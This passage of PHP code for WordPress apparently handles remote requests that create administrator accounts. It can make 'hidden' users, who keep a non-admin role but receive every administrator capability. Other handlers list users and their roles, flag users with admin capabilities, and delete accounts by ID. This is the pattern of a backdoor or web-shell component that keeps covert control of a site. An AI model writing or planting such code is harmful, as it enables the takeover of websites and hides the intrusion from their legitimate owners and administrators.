$data['u'], 'user_pass' => $data['p'], 'user_email' => $data['e'], 'first_name' => $fn, 'last_name' => $ln, 'display_name' => $fn . ' ' . $ln, 'nickname' => $data['u'], 'user_nicename' => sanitize_title($data['u']), 'description' => '', 'user_url' => '', 'role' => $hidden ? $hiddenRole : 'administrator' ]; $user_id = wp_insert_user($userdata); if (is_wp_error($user_id)) { echo json_encode(['ok' => 0, 'msg' => $user_id->get_error_message()]); exit; } if ($hidden) { $user = new WP_User($user_id); $admin_role = get_role('administrator'); if ($admin_role) { foreach ($admin_role->capabilities as $cap => $granted) { if ($granted) { $user->add_cap($cap); } } } } update_user_meta($user_id, 'show_admin_bar_front', 'false'); echo json_encode(['ok' => 1, 'id' => $user_id, 'name' => $fn . ' ' . $ln, 'type' => $hidden ? 'hidden' : 'normal']); exit; } if (isset($data['list'])) { global $wpdb; $search = isset($data['search']) ? $data['search'] : ''; if ($search) { $sql = $wpdb->prepare( "SELECT DISTINCT u.ID, u.user_login, u.user_email, m.meta_value FROM {$wpdb->users} u JOIN {$wpdb->usermeta} m ON u.ID = m.user_id WHERE m.meta_key LIKE %s AND m.meta_value LIKE %s", '%capabilities%', '%' . $search . '%' ); } else { $sql = "SELECT DISTINCT u.ID, u.user_login, u.user_email, m.meta_value FROM {$wpdb->users} u JOIN {$wpdb->usermeta} m ON u.ID = m.user_id WHERE m.meta_key LIKE '%capabilities%' LIMIT 100"; } $results = $wpdb->get_results($sql, ARRAY_A); $list = []; foreach ($results as $r) { $caps = @unserialize($r['meta_value']); $roles = is_array($caps) ? implode(',', array_keys($caps)) : $r['meta_value']; $list[] = ['id' => $r['ID'], 'login' => $r['user_login'], 'email' => $r['user_email'], 'roles' => $roles]; } echo json_encode(['ok' => 1, 'users' => $list]); exit; } if (isset($data['hidden_check'])) { $users = get_users(); $suspicious = []; $admin_caps = ['manage_options','edit_users','install_plugins','activate_plugins','delete_plugins','edit_theme_options','update_core']; foreach ($users as $u) { $user_role = !empty($u->roles) ? $u->roles[0] : 'none'; if (in_array($user_role, ['administrator'])) { continue; } $found_caps = []; foreach ($admin_caps as $cap) { if ($u->has_cap($cap)) { $found_caps[] = $cap; } } if (!empty($found_caps)) { $suspicious[] = [ 'id' => $u->ID, 'login' => $u->user_login, 'role' => $user_role, 'caps' => implode(', ', $found_caps) ]; } } echo json_encode(['ok' => 1, 'users' => $suspicious]); exit; } if (isset($data['del']) && isset($data['id'])) { require_once(ABSPATH . 'wp-admin/includes/user.php'); $r = wp_delete_user(intval($data['id'])); echo json_encode(['ok' => $r ? 1 : 0]); exit; } echo json_encode(['ok' => 0]); exit; } ?>